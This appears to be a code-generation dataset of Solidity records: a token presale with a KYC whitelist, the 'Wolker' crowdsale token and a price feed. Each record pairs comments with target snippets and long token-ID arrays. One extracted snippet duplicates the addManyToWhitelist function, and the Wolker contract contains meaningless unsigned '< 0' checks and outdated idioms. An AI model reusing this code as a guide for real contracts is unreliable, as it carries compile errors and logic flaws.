*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/ownership/Claimable.sol
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/external/KYCWhitelist.sol
/**
* @title KYCWhitelist
* @dev Crowdsale in which only whitelisted users can contribute.
*/
contract KYCWhitelist is Claimable {
mapping(address => bool) public whitelist;
/**
* @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract.
*/
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
/**
* @dev Does a "require" check if _beneficiary address is approved
* @param _beneficiary Token beneficiary
*/
function validateWhitelisted(address _beneficiary) internal view {
require(whitelist[_beneficiary]);
}
/**
* @dev Adds single address to whitelist.
* @param _beneficiary Address to be added to the whitelist
*/
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
/**
* @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing.
* @param _beneficiaries Addresses to be added to the whitelist
*/
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
/**
* @dev Removes single address from whitelist.
* @param _beneficiary Address to be removed to the whitelist
*/
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
}
// File: contracts/external/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Claimable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/PrivatePreSale.sol
/**
* @title PrivatePreSale
*
* Private Pre-sale contract for Energis tokens
*
* (c) Philip Louw / Zero Carbon Project 2018. The MIT Licence.
*/
contract PrivatePreSale is Claimable, KYCWhitelist, Pausable {
using SafeMath for uint256;
// Wallet Address for funds
address public constant FUNDS_WALLET = 0xDc17D222Bc3f28ecE7FCef42EDe0037C739cf28f;
// Token Wallet Address
address public constant TOKEN_WALLET = 0x1EF91464240BB6E0FdE7a73E0a6f3843D3E07601;
// Token adderss being sold
address public constant TOKEN_ADDRESS = 0x2169Cce281717d204FA0EcF846a6171e96234D72;
// Token being sold
ERC20 public constant TOKEN = ERC20(TOKEN_ADDRESS);
// Conversion Rate (Eth cost of 1 NRG) (Testing uses ETH price of $10 000)
uint256 public constant TOKENS_PER_ETH = 6740;
// Max NRG tokens to sell
uint256 public constant MAX_TOKENS = 20000000 * (10**18);
// Min investment in Tokens
uint256 public constant MIN_TOKEN_INVEST = 300000 * (10**18);
// Token sale start date
uint256 public START_DATE = 1525176000;
// -----------------------------------------
// State Variables
// -----------------------------------------
// Amount of wei raised
uint256 public weiRaised;
// Amount of tokens issued
uint256 public tokensIssued;
// If the pre-sale has ended
bool public closed;
// -----------------------------------------
// Events
// -----------------------------------------
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
// -----------------------------------------
// Constructor
// -----------------------------------------
function PrivatePreSale() public {
require(TOKENS_PER_ETH > 0);
require(FUNDS_WALLET != address(0));
require(TOKEN_WALLET != address(0));
require(TOKEN_ADDRESS != address(0));
require(MAX_TOKENS > 0);
require(MIN_TOKEN_INVEST >= 0);
}
// -----------------------------------------
// Private PreSale external Interface
// -----------------------------------------
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return tokensIssued >= MAX_TOKENS;
}
/**
* @dev Closes the sale, can only be called once. Once closed can not be opened again.
*/
function closeSale() public onlyOwner {
require(!closed);
closed = true;
}
/**
* @dev Returns the amount of tokens given for the amount in Wei
* @param _weiAmount Value in wei
*/
function getTokenAmount(uint256 _weiAmount) public pure returns (uint256) {
// Amount in wei (10**18 wei == 1 eth) and the token is 18 decimal places
return _weiAmount.mul(TOKENS_PER_ETH);
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
// -----------------------------------------
// Private PreSale internal
// -----------------------------------------
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) internal whenNotPaused {
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokenAmount = getTokenAmount(weiAmount);
// Validation Checks
preValidateChecks(_beneficiary, weiAmount, tokenAmount);
// update state
tokensIssued = tokensIssued.add(tokenAmount);
weiRaised = weiRaised.add(weiAmount);
// Send tokens from token wallet
TOKEN.transferFrom(TOKEN_WALLET, _beneficiary, tokenAmount);
// Forward the funds to wallet
FUNDS_WALLET.transfer(msg.value);
// Event trigger
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokenAmount);
}
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
* @param _tokenAmount Amount of token to purchase
*/
function preValidateChecks(address _beneficiary, uint256 _weiAmount, uint256 _tokenAmount) internal view {
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(now >= START_DATE);
require(!closed);
// KYC Check
validateWhitelisted(_beneficiary);
// Test Min Investment
require(_tokenAmount >= MIN_TOKEN_INVEST);
// Test hard cap
require(tokensIssued.add(_tokenAmount) <= MAX_TOKENS);
}
} | * @title KYCWhitelist @dev Crowdsale in which only whitelisted users can contribute./ | contract KYCWhitelist is Claimable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function validateWhitelisted(address _beneficiary) internal view {
require(whitelist[_beneficiary]);
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
}
| 1,837,648 | [
1,
47,
61,
39,
18927,
225,
385,
492,
2377,
5349,
316,
1492,
1338,
26944,
3677,
848,
356,
887,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1475,
61,
39,
18927,
353,
18381,
429,
288,
203,
203,
282,
2874,
12,
2867,
516,
1426,
13,
1071,
10734,
31,
203,
203,
203,
225,
9606,
353,
18927,
329,
12,
2867,
389,
70,
4009,
74,
14463,
814,
13,
288,
203,
565,
2583,
12,
20409,
63,
67,
70,
4009,
74,
14463,
814,
19226,
203,
565,
389,
31,
203,
225,
289,
203,
203,
225,
445,
1954,
18927,
329,
12,
2867,
389,
70,
4009,
74,
14463,
814,
13,
2713,
1476,
288,
203,
565,
2583,
12,
20409,
63,
67,
70,
4009,
74,
14463,
814,
19226,
203,
225,
289,
203,
203,
225,
445,
9604,
18927,
12,
2867,
389,
70,
4009,
74,
14463,
814,
13,
3903,
1338,
5541,
288,
203,
565,
10734,
63,
67,
70,
4009,
74,
14463,
814,
65,
273,
638,
31,
203,
225,
289,
203,
21281,
225,
445,
527,
5594,
774,
18927,
12,
2867,
8526,
389,
70,
4009,
74,
14463,
5646,
13,
3903,
1338,
5541,
288,
203,
565,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
389,
70,
4009,
74,
14463,
5646,
18,
2469,
31,
277,
27245,
288,
203,
1377,
10734,
63,
67,
70,
4009,
74,
14463,
5646,
63,
77,
13563,
273,
638,
31,
203,
565,
289,
203,
225,
289,
203,
203,
225,
445,
527,
5594,
774,
18927,
12,
2867,
8526,
389,
70,
4009,
74,
14463,
5646,
13,
3903,
1338,
5541,
288,
203,
565,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
389,
70,
4009,
74,
14463,
5646,
18,
2469,
31,
277,
27245,
288,
203,
1377,
10734,
63,
67,
70,
4009,
74,
14463,
5646,
2
] |
pragma solidity ^0.4.2;
contract Wolker {
mapping (address => uint256) balances;
mapping (address => uint256) allocations;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => mapping (address => bool)) authorized; //trustee
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value, balances[msg.sender], balances[_to]);
return true;
} else {
throw;
}
}
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value, balances[_from], balances[_to]);
return true;
} else {
throw;
}
}
/// @return total amount of tokens
function totalSupply() external constant returns (uint256) {
return generalTokens + reservedTokens;
}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of Wolk token to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/// @param _trustee Grant trustee permission to settle media spend
/// @return Whether the authorization was successful or not
function authorize(address _trustee) returns (bool success) {
authorized[msg.sender][_trustee] = true;
Authorization(msg.sender, _trustee);
return true;
}
/// @param _trustee_to_remove Revoke trustee's permission on settle media spend
/// @return Whether the deauthorization was successful or not
function deauthorize(address _trustee_to_remove) returns (bool success) {
authorized[msg.sender][_trustee_to_remove] = false;
Deauthorization(msg.sender, _trustee_to_remove);
return true;
}
// @param _owner
// @param _trustee
// @return authorization_status for platform settlement
function check_authorization(address _owner, address _trustee) constant returns (bool authorization_status) {
return authorized[_owner][_trustee];
}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
//**** ERC20 TOK Events:
event Transfer(address indexed _from, address indexed _to, uint256 _value, uint from_final_tok, uint to_final_tok);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Authorization(address indexed _owner, address indexed _trustee);
event Deauthorization(address indexed _owner, address indexed _trustee_to_remove);
event NewOwner(address _newOwner);
event MintEvent(uint reward_tok, address recipient);
event LogRefund(address indexed _to, uint256 _value);
event CreateWolk(address indexed _to, uint256 _value);
event Vested(address indexed _to, uint256 _value);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
modifier isOperational() {
assert(isFinalized);
_;
}
//**** ERC20 TOK fields:
string public constant name = 'Wolk';
string public constant symbol = "WOLK";
string public constant version = "0.2";
uint256 public constant decimals = 18;
uint256 public constant wolkFund = 10 * 10**1 * 10**decimals; // 100 Wolk in operation Fund
uint256 public constant tokenCreationMin = 20 * 10**1 * 10**decimals; // 200 Wolk Min
uint256 public constant tokenCreationMax = 100 * 10**1 * 10**decimals; // 1000 Wolk Max
uint256 public constant tokenExchangeRate = 10000; // 10000 Wolk per 1 ETH
uint256 public generalTokens = wolkFund; // tokens in circulation
uint256 public reservedTokens;
//address public owner = msg.sender;
address public owner = 0xC28dA4d42866758d0Fc49a5A3948A1f43de491e9; // michael - main
address public multisig_owner = 0x6968a9b90245cB9bD2506B9460e3D13ED4B2FD1e; // new multi-sig
bool public isFinalized = false; // after token sale success, this is true
uint public constant dust = 1000000 wei;
bool public fairsale_protection = true;
// Actual crowdsale
uint256 public start_block; // Starting block
uint256 public end_block; // Ending block
uint256 public unlockedAt; // Unlocking block
uint256 public end_ts; // Unix End time
// minting support
//uint public max_creation_rate_per_second; // Maximum token creation rate per second
//address public minter_address; // Has permission to mint
// migration support
//address migrationMaster;
//**** Constructor:
function Wolk()
{
// Actual crowdsale
start_block = 3831300;
end_block = 3831900;
// wolkFund is 100
balances[msg.sender] = wolkFund;
// Wolk Inc has 25MM Wolk, 5MM of which is allocated for Wolk Inc Founding staff, who vest at "unlockedAt" time
reservedTokens = 25 * 10**decimals;
allocations[0x564a3f7d98Eb5B1791132F8875fef582d528d5Cf] = 20; // unassigned
allocations[0x7f512CCFEF05F651A70Fa322Ce27F4ad79b74ffe] = 1; // Sourabh
allocations[0x9D203A36cd61b21B7C8c7Da1d8eeB13f04bb24D9] = 2; // Michael - Test
allocations[0x5fcf700654B8062B709a41527FAfCda367daE7b1] = 1; // Michael - Main
allocations[0xC28dA4d42866758d0Fc49a5A3948A1f43de491e9] = 1; // Urmi
CreateWolk(msg.sender, wolkFund);
}
// ****** VESTING SUPPORT
/// @notice Allow developer to unlock allocated tokens by transferring them to developer's address on vesting schedule of "vested 100% on 1 year)
function unlock() external {
if (now < unlockedAt) throw;
uint256 vested = allocations[msg.sender] * 10**decimals;
if (vested < 0 ) throw; // Will fail if allocation (and therefore toTransfer) is 0.
allocations[msg.sender] = 0;
reservedTokens = safeSub(reservedTokens, vested);
balances[msg.sender] = safeAdd(balances[msg.sender], vested);
Vested(msg.sender, vested);
}
// ******* CROWDSALE SUPPORT
// Accepts ETH and creates WOLK
function createTokens() payable external is_not_dust {
if (isFinalized) throw;
if (block.number < start_block) throw;
if (block.number > end_block) throw;
if (msg.value == 0) throw;
if (tx.gasprice > 0.021 szabo && fairsale_protection) throw;
if (msg.value > 0.04 ether && fairsale_protection) throw;
uint256 tokens = safeMul(msg.value, tokenExchangeRate); // check that we're not over totals
uint256 checkedSupply = safeAdd(generalTokens, tokens);
if ( checkedSupply > tokenCreationMax) {
throw; // they need to get their money back if something goes wrong
} else {
generalTokens = checkedSupply;
balances[msg.sender] = safeAdd(balances[msg.sender], tokens); // safeAdd not needed; bad semantics to use here
CreateWolk(msg.sender, tokens); // logs token creation
}
}
// The value of the message must be sufficiently large to not be considered dust.
modifier is_not_dust { if (msg.value < dust) throw; _; }
// Disabling fairsale protection
function fairsale_protectionOFF() external {
if ( block.number - start_block < 200) throw; // fairsale window is strictly enforced
if ( msg.sender != owner ) throw;
fairsale_protection = false;
}
// Finalizing the crowdsale
function finalize() external {
if ( isFinalized ) throw;
if ( msg.sender != owner ) throw; // locks finalize to ETH owner
if ( generalTokens < tokenCreationMin ) throw; // have to sell tokenCreationMin to finalize
if ( block.number < end_block ) throw;
isFinalized = true;
end_ts = now;
unlockedAt = end_ts + 2 minutes;
if ( ! multisig_owner.send(this.balance) ) throw;
}
function refund() external {
if ( isFinalized ) throw;
if ( block.number < end_block ) throw;
if ( generalTokens >= tokenCreationMin ) throw;
if ( msg.sender == owner ) throw;
uint256 Val = balances[msg.sender];
balances[msg.sender] = 0;
generalTokens = safeSub(generalTokens, Val);
uint256 ethVal = safeDiv(Val, tokenExchangeRate);
LogRefund(msg.sender, ethVal);
if ( ! msg.sender.send(ethVal) ) throw;
}
// ****** Platform Settlement
function settleFrom(address _from, address _to, uint256 _value) isOperational() external returns (bool success) {
if ( msg.sender != owner ) throw;
var _allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value && (allowed[_from][msg.sender] >= _value || authorized[_from][msg.sender] == true ) && _value > 0) {
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
if ( allowed[_from][msg.sender] < 0 ){
allowed[_from][msg.sender] = 0;
}
Transfer(_from, _to, _value, balances[_from], balances[_to]);
return true;
} else {
throw;
}
}
// ****** MINTING SUPPORT
// Mint new tokens
modifier only_minter {
assert(msg.sender == minter_address);
_;
}
address public minter_address = owner; // Has permission to mint
function mintTokens(uint reward_tok, address recipient) external payable only_minter
{
balances[recipient] = safeAdd(balances[recipient], reward_tok);
generalTokens = safeAdd(generalTokens, reward_tok);
MintEvent(reward_tok, recipient);
}
function changeMintingAddress(address newAddress) onlyOwner returns (bool success) {
minter_address = newAddress;
return true;
}
//**** SafeMath:
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
} | **** ERC20 TOK fields: | string public constant name = 'Wolk';
| 5,363,281 | [
1,
654,
39,
3462,
399,
3141,
1466,
30,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
533,
225,
1071,
5381,
508,
273,
296,
59,
355,
79,
13506,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8.0;
import "@c-layer/common/contracts/operable/Operable.sol";
import "./interface/IPricesFeed.sol";
/**
* @title PricesFeed
* @dev PricesFeed contract
*
* @author Cyril Lapinte - <[email protected]>
* SPDX-License-Identifier: MIT
*/
contract PricesFeed is IPricesFeed, Operable {
address[] internal tokens;
mapping(address => uint256) internal prices;
uint64 public updatedAt;
function definePrices(address[] calldata _tokens, uint256[] calldata _prices) external onlyOperator {
for(uint256 i=0; i < _tokens.length; i++) {
prices[_tokens[i]] = _prices[i];
}
tokens = _tokens;
// solhint-disable-next-line not-rely-on-time
updatedAt = uint64(block.timestamp);
}
function updatePrices(uint256[] calldata _prices) external onlyOperator {
for(uint256 i=0; i < tokens.length; i++) {
prices[tokens[i]] = _prices[i];
}
// solhint-disable-next-line not-rely-on-time
updatedAt = uint64(block.timestamp);
}
function convert(
address _fromToken,
address _toToken,
uint256 _amount) external override view returns (uint256)
{
return _amount * prices[_toToken] / prices[_fromToken];
}
}
| solhint-disable-next-line not-rely-on-time | updatedAt = uint64(block.timestamp);
| 917,189 | [
1,
18281,
11317,
17,
8394,
17,
4285,
17,
1369,
486,
17,
266,
715,
17,
265,
17,
957,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
31944,
273,
2254,
1105,
12,
2629,
18,
5508,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
